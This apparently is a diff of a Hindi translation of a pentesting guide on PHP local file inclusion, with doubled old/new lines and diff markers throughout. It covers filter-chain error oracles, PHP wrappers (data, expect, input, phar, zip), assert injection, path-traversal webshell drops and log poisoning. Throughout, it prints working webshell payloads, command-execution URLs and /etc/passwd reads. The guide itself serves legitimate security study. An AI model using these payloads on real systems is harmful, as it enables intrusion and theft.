[**इस पोस्ट में**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक तकनीक का प्रस्ताव किया गया है जिससे बिना सर्वर से आउटपुट प्राप्त किए एक स्थानीय फ़ाइल पढ़ी जा सके। यह तकनीक **php फ़िल्टर का उपयोग करके फ़ाइल का बूलियन एक्सफिल्ट्रेशन (चर द्वारा चर)** पर आधारित है। इसका कारण यह है कि php फ़िल्टर का उपयोग एक टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक अपवाद फेंक दे।
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) में एक तकनीक प्रस्तावित की गई है जो सर्वर से आउटपुट वापस मिले बिना स्थानीय फ़ाइल पढ़ने के लिए है। यह तकनीक php filters को oracle के रूप में उपयोग करके फ़ाइल की **boolean exfiltration (char by char)** पर आधारित है। ऐसा इसलिए है क्योंकि php filters का उपयोग टेक्स्ट को इतना बड़ा करने के लिए किया जा सकता है कि php एक exception फेंक दे।
|
||||
|
||||
मूल पोस्ट में इस तकनीक का विस्तृत विवरण है, लेकिन यहाँ एक त्वरित सारांश है:
|
||||
मूल पोस्ट में आप तकनीक का विस्तृत विवरण पा सकते हैं, लेकिन यहाँ एक संक्षिप्त सारांश है:
|
||||
|
||||
- **`UCS-4LE`** कोडेक का उपयोग करें ताकि टेक्स्ट के अग्रणी वर्ण को शुरुआत में छोड़ दिया जाए और स्ट्रिंग का आकार तेजी से बढ़े।
|
||||
- इसका उपयोग एक **इतना बड़ा टेक्स्ट उत्पन्न करने के लिए किया जाएगा जब प्रारंभिक अक्षर सही ढंग से अनुमानित किया जाता है** कि php एक **त्रुटि** उत्पन्न करेगा।
|
||||
- **dechunk** फ़िल्टर **पहले चर को हटाएगा यदि यह हेक्साडेसिमल नहीं है**, इसलिए हम जान सकते हैं कि पहला चर हेक्स है या नहीं।
|
||||
- यह, पिछले वाले के साथ (और अनुमानित अक्षर के आधार पर अन्य फ़िल्टर), हमें टेक्स्ट की शुरुआत में एक अक्षर का अनुमान लगाने की अनुमति देगा जब हम पर्याप्त परिवर्तन करते हैं ताकि यह हेक्साडेसिमल वर्ण न हो। क्योंकि यदि हेक्स है, तो dechunk इसे नहीं हटाएगा और प्रारंभिक बम php त्रुटि उत्पन्न करेगा।
|
||||
- **convert.iconv.UNICODE.CP930** कोडेक हर अक्षर को अगले में बदलता है (तो इस कोडेक के बाद: a -> b)। इससे हमें पता चलता है कि पहला अक्षर `a` है या नहीं, क्योंकि यदि हम इस कोडेक के 6 बार लागू करते हैं a->b->c->d->e->f->g तो अक्षर अब हेक्साडेसिमल वर्ण नहीं है, इसलिए dechunk इसे नहीं हटाता और php त्रुटि उत्पन्न होती है क्योंकि यह प्रारंभिक बम के साथ गुणा करता है।
|
||||
- प्रारंभ में **rot13** जैसे अन्य परिवर्तनों का उपयोग करके अन्य वर्णों को लीक करना संभव है जैसे n, o, p, q, r (और अन्य कोडेक्स का उपयोग करके अन्य अक्षरों को हेक्स रेंज में ले जाया जा सकता है)।
|
||||
- जब प्रारंभिक चर एक संख्या होती है, तो इसे base64 एन्कोड करना आवश्यक है और संख्या को लीक करने के लिए पहले 2 अक्षरों को लीक करना आवश्यक है।
|
||||
- अंतिम समस्या यह है कि **कैसे प्रारंभिक अक्षर से अधिक लीक किया जाए**। क्रम मेमोरी फ़िल्टर जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके अक्षरों के क्रम को बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थान पर लाना संभव है।
|
||||
- और **अधिक डेटा** प्राप्त करने के लिए विचार यह है कि **प्रारंभ में 2 बाइट्स का जंक डेटा उत्पन्न करें** **convert.iconv.UTF16.UTF16** के साथ, **UCS-4LE** लागू करें ताकि यह **अगले 2 बाइट्स के साथ पिवट हो**, और **जंक डेटा तक डेटा को हटा दें** (यह प्रारंभिक टेक्स्ट के पहले 2 बाइट्स को हटा देगा)। जब तक आप लीक करने के लिए इच्छित बिट तक नहीं पहुँचते, तब तक ऐसा करते रहें।
|
||||
- कोडेक **`UCS-4LE`** का उपयोग करें ताकि टेक्स्ट का अग्रिम अक्षर शुरुआत में रहे और स्ट्रिंग का आकार घातीय रूप से बढ़ जाए।
|
||||
- यह इसका उपयोग एक ऐसा **टेक्स्ट उत्पन्न** करने के लिए किया जाएगा जो इतना बड़ा होगा (जब प्रारंभिक अक्षर सही अनुमानित हो) कि php एक **error** ट्रिगर कर देगा।
|
||||
- **dechunk** filter सब कुछ हटा देगा अगर पहला char hexadecimal नहीं है, इसलिए हम जान सकते हैं कि पहला char hex है या नहीं।
|
||||
- यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर पर निर्भर अन्य filters), हमें टेक्स्ट की शुरुआत के एक अक्षर का अनुमान लगाने की अनुमति देगा — हम देखेंगे कि कब हम पर्याप्त transformations करते हैं जिससे वह hexadecimal character न रहे। क्योंकि अगर hex है, तो dechunk उसे नहीं हटाएगा और प्रारंभिक बम php error उत्पन्न कर देगा।
|
||||
- कोडेक **convert.iconv.UNICODE.CP930** हर अक्षर को अगले में बदलता है (इसलिए इस codec के बाद: a -> b)। यह हमें पता लगाने की अनुमति देता है कि पहला अक्षर उदाहरण के लिए `a` है क्योंकि अगर हम इस codec को 6 बार लागू करें तो a->b->c->d->e->f->g हो जाएगा और अक्षर अब hexadecimal character नहीं रहेगा, इसलिए dechunk उसे नहीं हटाएगा और php error ट्रिगर हो जाएगा क्योंकि यह प्रारंभिक बम के साथ गुणा होता है।
|
||||
- शुरुआत में **rot13** जैसे अन्य transformations का उपयोग करके n, o, p, q, r जैसे अन्य chars को leak करना संभव है (और अन्य codecs का उपयोग अन्य अक्षरों को hex रेंज में लाने के लिए किया जा सकता है)।
|
||||
- जब प्रारंभिक char एक संख्या हो तो उसे base64 encode करना आवश्यक है और संख्या को leak करने के लिए पहले 2 अक्षरों को leak करना होगा।
|
||||
- अंतिम समस्या यह देखना है कि **प्रारंभिक अक्षर से अधिक कैसे leak किया जाए**। order memory filters जैसे **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** का उपयोग करके chars का क्रम बदलना और टेक्स्ट के अन्य अक्षरों को पहले स्थिति में लाना संभव है।
|
||||
- और आगे डेटा प्राप्त करने के लिए विचार यह है कि शुरुआत में **convert.iconv.UTF16.UTF16** के साथ **2 bytes का junk data उत्पन्न** किया जाए, फिर **UCS-4LE** लागू करके इसे अगले 2 bytes के साथ **pivot** कराया जाए, और **delete the data until the junk data** (यह प्रारंभिक टेक्स्ट के पहले 2 bytes को हटा देगा)। इसे तब तक जारी रखें जब तक आप leak करने वाले इच्छित बिट तक नहीं पहुँचते।
|
||||
|
||||
पोस्ट में इस प्रक्रिया को स्वचालित रूप से करने के लिए एक उपकरण भी लीक किया गया था: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
पोस्ट में इसे स्वचालित रूप से करने के लिए एक टूल भी leaked किया गया: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
यह रैपर उन फ़ाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है जो प्रक्रिया के पास खुले हैं। खोले गए फ़ाइलों की सामग्री को एक्सफिल्ट्रेट करने के लिए संभावित रूप से उपयोगी:
|
||||
यह wrapper उन file descriptors तक पहुँच की अनुमति देता है जो process ने open किए हुए हैं। संभवतः यह opened files की सामग्री को exfiltrate करने के लिए उपयोगी हो सकता है:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
आप **php://stdin, php://stdout और php://stderr** का उपयोग **file descriptors 0, 1 और 2** तक पहुँचने के लिए कर सकते हैं (यह हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
|
||||
आप **php://stdin, php://stdout और php://stderr** का उपयोग करके क्रमशः **file descriptors 0, 1 और 2** तक पहुँच सकते हैं (यह स्पष्ट नहीं कि यह attack में कैसे उपयोगी हो सकता है)
|
||||
|
||||
### zip:// और rar://
|
||||
### zip:// and rar://
|
||||
|
||||
एक PHPShell के साथ एक Zip या Rar फ़ाइल अपलोड करें और इसे एक्सेस करें।\
|
||||
rar प्रोटोकॉल का दुरुपयोग करने के लिए इसे **विशेष रूप से सक्रिय किया जाना चाहिए**।
|
||||
एक Zip या Rar फाइल अपलोड करें जिसमें अंदर PHPShell हो और उसे एक्सेस करें.\
|
||||
rar protocol का दुरुपयोग करने के लिए इसे **विशेष रूप से सक्रिय** किया जाना चाहिए।
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन **`allow_url_open`** और **`allow_url_include`** द्वारा प्रतिबंधित है।
|
||||
ध्यान दें कि यह प्रोटोकॉल php विन्यासों द्वारा प्रतिबंधित है **`allow_url_open`** और **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect को सक्रिय करना होगा। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:
|
||||
Expect को सक्रिय होना चाहिए। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
अपने payload को POST पैरामीटर में निर्दिष्ट करें:
|
||||
अपना payload POST parameters में निर्दिष्ट करें:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
A `.phar` फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसी फ़ंक्शंस का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का प्रदर्शन करता है:
|
||||
जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसे फंक्शन का उपयोग करता है, तब `.phar` फ़ाइल का उपयोग PHP कोड को चलाने के लिए किया जा सकता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का उदाहरण दिखाता है:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -354,94 +354,95 @@ $phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
`.phar` फ़ाइल को संकलित करने के लिए, निम्नलिखित कमांड निष्पादित की जानी चाहिए:
|
||||
`.phar` फ़ाइल को संकलित करने के लिए, निम्नलिखित कमांड को निष्पादित किया जाना चाहिए:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
`test.phar` नाम की एक फ़ाइल बनाई जाएगी, जिसे Local File Inclusion (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
|
||||
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||
|
||||
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` के माध्यम से, एक deserialization कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
|
||||
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
|
||||
|
||||
`.phar` फ़ाइलों के संदर्भ में deserialization कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए दस्तावेज़ को देखें:
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
phar-deserialization.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
**किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है** का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखा जा सके**, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
|
||||
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक php फ़िल्टर का दुरुपयोग करके।
|
||||
यह संभव था कि **any arbitrary file read from PHP that supports php filters** का दुरुपयोग कर के RCE प्राप्त किया जाए। विस्तृत विवरण [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
बहुत संक्षेप: PHP heap में एक **3 byte overflow** का दुरुपयोग कर के **alter the chain of free chunks** of anspecific size किया गया ताकि **write anything in any address** करने में सक्षम हुआ, इसलिए एक hook जोड़ा गया जो **`system`** को कॉल करे।\
|
||||
यह संभव था कि अधिक php filters का दुरुपयोग करके specific sizes के लिए chunks को alloc किया जा सके।
|
||||
|
||||
### More protocols
|
||||
|
||||
यहाँ और संभावित [**प्रोटोकॉल की जाँच करें**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी या अस्थायी फ़ाइल में लिखें (यह फ़ाइल समावेशन हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL तक पहुँच
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL तक पहुँच
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — संकुचन धाराएँ
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — पैटर्न से मेल खाने वाले पथ नाम खोजें (यह कुछ भी प्रिंट करने योग्य नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — सुरक्षित शेल 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो धाराएँ (मनमाने फ़ाइलों को पढ़ने के लिए उपयोगी नहीं)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या एक अस्थायी फ़ाइल में लिखना (यह file inclusion attack में कैसे उपयोगी हो सकता है, स्पष्ट नहीं)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — लोकल फ़ाइलसिस्टम तक पहुँच
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URLs तक पहुँच
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URLs तक पहुँच
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — संपीड़न स्ट्रीम्स
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — पैटर्न से मेल खाने वाले pathnames ढूँढना (यह कुछ भी printable नहीं लौटाता, इसलिए यहाँ ज्यादा उपयोगी नहीं)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो स्ट्रीम्स (किसी भी फ़ाइल पढ़ने के लिए उपयोगी नहीं)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
PHP में Local File Inclusion (LFI) जोखिम 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि इनपुट में ".." जैसे निर्देशिका ट्रैवर्सल वर्णों की जांच की जा रही है लेकिन सही तरीके से साफ नहीं की गई है।
|
||||
PHP में 'assert' फ़ंक्शन से जुड़े LFI के जोखिम विशेष रूप से अधिक होते हैं, क्योंकि यह strings के अंदर का कोड निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है अगर input में directory traversal वर्ण जैसे ".." की जाँच की जा रही हो पर सही तरीके से sanitize नहीं किया जा रहा हो।
|
||||
|
||||
उदाहरण के लिए, PHP कोड को इस तरह से निर्देशिका ट्रैवर्सल को रोकने के लिए डिज़ाइन किया जा सकता है:
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
|
||||
हालाँकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में code injection के लिए एक वेक्टर बना देता है। file contents पढ़ने के लिए इसका शोषण करने के लिए, एक attacker उपयोग कर सकता है:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
इसी तरह, मनमाने सिस्टम कमांड्स को निष्पादित करने के लिए, कोई निम्नलिखित का उपयोग कर सकता है:
|
||||
इसी तरह, arbitrary system commands चलाने के लिए, कोई उपयोग कर सकता है:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
यह महत्वपूर्ण है कि **इन पेलोड्स को URL-encode करें**।
|
||||
यह महत्वपूर्ण है कि इन payloads को **URL-encode** किया जाए।
|
||||
|
||||
## PHP ब्लाइंड पाथ ट्रैवर्सल
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **PHP फ़ंक्शन** के **फाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** तक **पहुँचता** है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
|
||||
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप किसी **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **फ़ाइल तक पहुँच** करेगा पर आप फ़ाइल की सामग्री नहीं देख पाएँगे (जैसे एक साधारण कॉल `file()`), क्योंकि सामग्री दिखाई नहीं जाती।
|
||||
|
||||
[**इस अद्भुत पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) में यह समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से **एक त्रुटि ओरेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट** करने के लिए दुरुपयोग किया जा सकता है।
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) यह बताया गया है कि कैसे एक blind path traversal को PHP filter के माध्यम से abuse करके **exfiltrate the content of a file via an error oracle** किया जा सकता है।
|
||||
|
||||
संक्षेप में, तकनीक **"UCS-4LE" एन्कोडिंग** का उपयोग कर रही है ताकि एक फ़ाइल की सामग्री इतनी **बड़ी** हो जाए कि फ़ाइल को खोलने वाला **PHP फ़ंक्शन** एक **त्रुटि** उत्पन्न करेगा।
|
||||
सारांश में, यह तकनीक फ़ाइल की सामग्री को इतना **बड़ा** बना देने के लिए **"UCS-4LE" encoding** का उपयोग करती है कि उस फ़ाइल को खोलने वाला **PHP फ़ंक्शन** एक **error** ट्रिगर कर दे।
|
||||
|
||||
फिर, पहले अक्षर को लीक करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है साथ ही अन्य जैसे **base64** या **rot13** और अंततः फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग **अन्य अक्षरों को शुरुआत में रखने और उन्हें लीक करने** के लिए किया जाता है।
|
||||
फिर, पहले char को leak करने के लिए फ़िल्टर **`dechunk`** का उपयोग किया जाता है साथ ही अन्य जैसे **base64** या **rot13**, और अंत में फ़िल्टर **convert.iconv.UCS-4.UCS-4LE** और **convert.iconv.UTF16.UTF-16BE** का उपयोग करके **अन्य अक्षरों को शुरुआत में रखकर उन्हें leak किया जाता है**।
|
||||
|
||||
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्षित पढ़ने के लिए इसके साथ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**संभावित रूप से प्रभावित होने वाले फ़ंक्शन्स**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जांच करें!
|
||||
तकनीकी विवरणों के लिए उल्लिखित पोस्ट देखें!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### पाथ ट्रैवर्सल के माध्यम से मनमाना फ़ाइल लेखन (वेबशेल RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
जब सर्वर-साइड कोड जो फ़ाइलों को इनजेस्ट/अपलोड करता है, उपयोगकर्ता-नियंत्रित डेटा (जैसे, फ़ाइल का नाम या URL) का उपयोग करके गंतव्य पथ बनाता है बिना इसे कैनोनिकलाइज और मान्य किए, `..` खंड और पूर्ण पथ इच्छित निर्देशिका से बाहर निकल सकते हैं और मनमाना फ़ाइल लेखन कर सकते हैं। यदि आप पेलोड को एक वेब-प्रदर्शित निर्देशिका के तहत रख सकते हैं, तो आप आमतौर पर एक वेबशेल गिराकर बिना प्रमाणीकरण के RCE प्राप्त करते हैं।
|
||||
जब server-side कोड जो फ़ाइलें ingest/uploads करता है destination path को user-controlled डेटा (उदा., filename या URL) से बनाता है बिना canonicalising और validating किए हुए, तो `..` segments और absolute paths intended directory से बाहर निकलकर arbitrary file write का कारण बन सकते हैं। यदि आप payload को किसी web-exposed directory के तहत रख पाते हैं, तो आम तौर पर webshell डालकर unauthenticated RCE मिल जाता है।
|
||||
|
||||
विशिष्ट शोषण कार्यप्रवाह:
|
||||
- एक एंडपॉइंट या बैकग्राउंड वर्कर में एक लेखन प्राइमिटिव की पहचान करें जो एक पथ/फ़ाइल नाम स्वीकार करता है और सामग्री को डिस्क पर लिखता है (जैसे, संदेश-प्रेरित इनजेशन, XML/JSON कमांड हैंडलर, ZIP एक्सट्रैक्टर्स, आदि)।
|
||||
- वेब-प्रदर्शित निर्देशिकाओं का निर्धारण करें। सामान्य उदाहरण:
|
||||
Typical exploitation workflow:
|
||||
- किसी endpoint या background worker में एक write primitive पहचानें जो path/filename स्वीकार करता है और content को disk पर लिखता है (उदा., message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
|
||||
- web-exposed directories निर्धारित करें। सामान्य उदाहरण:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → `shell.jsp` गिराएं
|
||||
- IIS: `C:\inetpub\wwwroot\` → `shell.aspx` गिराएं
|
||||
- एक ट्रैवर्सल पथ तैयार करें जो इच्छित संग्रहण निर्देशिका से वेब रूट में बाहर निकलता है, और अपनी वेबशेल सामग्री शामिल करें।
|
||||
- गिराए गए पेलोड पर ब्राउज़ करें और कमांड निष्पादित करें।
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- ऐसा traversal path बनाएं जो intended storage directory से बाहर निकल कर webroot में पहुँच जाए, और उसमें अपने webshell content को शामिल करें।
|
||||
- dropped payload पर ब्राउज़ करें और कमांड्स execute करें।
|
||||
|
||||
नोट्स:
|
||||
- कमजोर सेवा जो लेखन करती है, एक गैर-HTTP पोर्ट पर सुन सकती है (जैसे, TCP 4004 पर एक JMF XML श्रोता)। मुख्य वेब पोर्टल (विभिन्न पोर्ट) बाद में आपके पेलोड को सेवा देगा।
|
||||
- जावा स्टैक्स पर, ये फ़ाइल लेखन अक्सर सरल `File`/`Paths` संयोजन के साथ लागू होते हैं। कैनोनिकलाइजेशन/अनुमति-सूची की कमी मुख्य दोष है।
|
||||
Notes:
|
||||
- जो vulnerable सर्विस यह write करती है वह non-HTTP port पर सुन सकती है (उदा., TCP 4004 पर JMF XML listener)। मुख्य web portal (विभिन्न पोर्ट) बाद में आपका payload serve करेगा।
|
||||
- Java stacks पर, ये file writes अक्सर simple `File`/`Paths` concatenation के साथ implement होते हैं। canonicalisation/allow-listing का अभाव मुख्य flaw है।
|
||||
|
||||
सामान्य XML/JMF-शैली का उदाहरण (उत्पाद स्कीमा भिन्न होते हैं - DOCTYPE/बॉडी रैपर ट्रैवर्सल के लिए अप्रासंगिक है):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -465,26 +466,26 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
इस वर्ग की बग्स को हराने के लिए हार्डनिंग:
|
||||
- एक कैनोनिकल पथ पर हल करें और सुनिश्चित करें कि यह अनुमति-सूचीबद्ध बेस डायरेक्टरी का वंशज है।
|
||||
- किसी भी पथ को अस्वीकार करें जिसमें `..`, पूर्ण जड़ें, या ड्राइव अक्षर शामिल हैं; उत्पन्न फ़ाइल नामों को प्राथमिकता दें।
|
||||
- लेखक को एक निम्न-विशेषाधिकार खाता के रूप में चलाएं और लिखने की निर्देशिकाओं को सेवा की जड़ों से अलग करें।
|
||||
Hardening जो इस क्लास के बग्स को रोकता है:
|
||||
- एक canonical path पर resolve करें और सुनिश्चित करें कि यह allow-listed base directory का descendant हो।
|
||||
- किसी भी path को अस्वीकार करें जिसमें `..`, absolute roots, या drive letters हों; generated filenames को प्राथमिकता दें।
|
||||
- writer को low-privileged account के रूप में चलाएँ और write directories को served roots से अलग रखें।
|
||||
|
||||
## रिमोट फ़ाइल समावेश
|
||||
## Remote File Inclusion
|
||||
|
||||
पहले समझाया गया, [**इस लिंक का पालन करें**](#remote-file-inclusion)।
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Apache/Nginx लॉग फ़ाइल के माध्यम से
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
यदि Apache या Nginx सर्वर **LFI के लिए संवेदनशील** है शामिल फ़ंक्शन के अंदर, तो आप **`/var/log/apache2/access.log` या `/var/log/nginx/access.log`** तक पहुँचने की कोशिश कर सकते हैं, **यूजर एजेंट** के अंदर या एक **GET पैरामीटर** के अंदर एक php शेल जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को शामिल करें।
|
||||
यदि Apache या Nginx server include फ़ंक्शन के अंदर **vulnerable to LFI** है, तो आप कोशिश कर सकते हैं कि **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** तक पहुँचें, **user agent** के अंदर या किसी **GET parameter** में एक php shell जैसे **`<?php system($_GET['c']); ?>`** सेट करें और उस फ़ाइल को include करें
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **यदि आप शेल के लिए डबल कोट्स** का उपयोग करते हैं बजाय **साधारण कोट्स** के, तो डबल कोट्स को "_**quote;**_" स्ट्रिंग के लिए संशोधित किया जाएगा, **PHP वहाँ एक त्रुटि फेंकेगा** और **कुछ और निष्पादित नहीं होगा**।
|
||||
> ध्यान दें कि **यदि आप double quotes का उपयोग करते हैं** shell के लिए simple quotes की बजाय, तो double quotes string "_**quote;**_" में बदल दिए जाएंगे, **PHP वहाँ error देगा** और **कुछ भी execute नहीं होगा**।
|
||||
>
|
||||
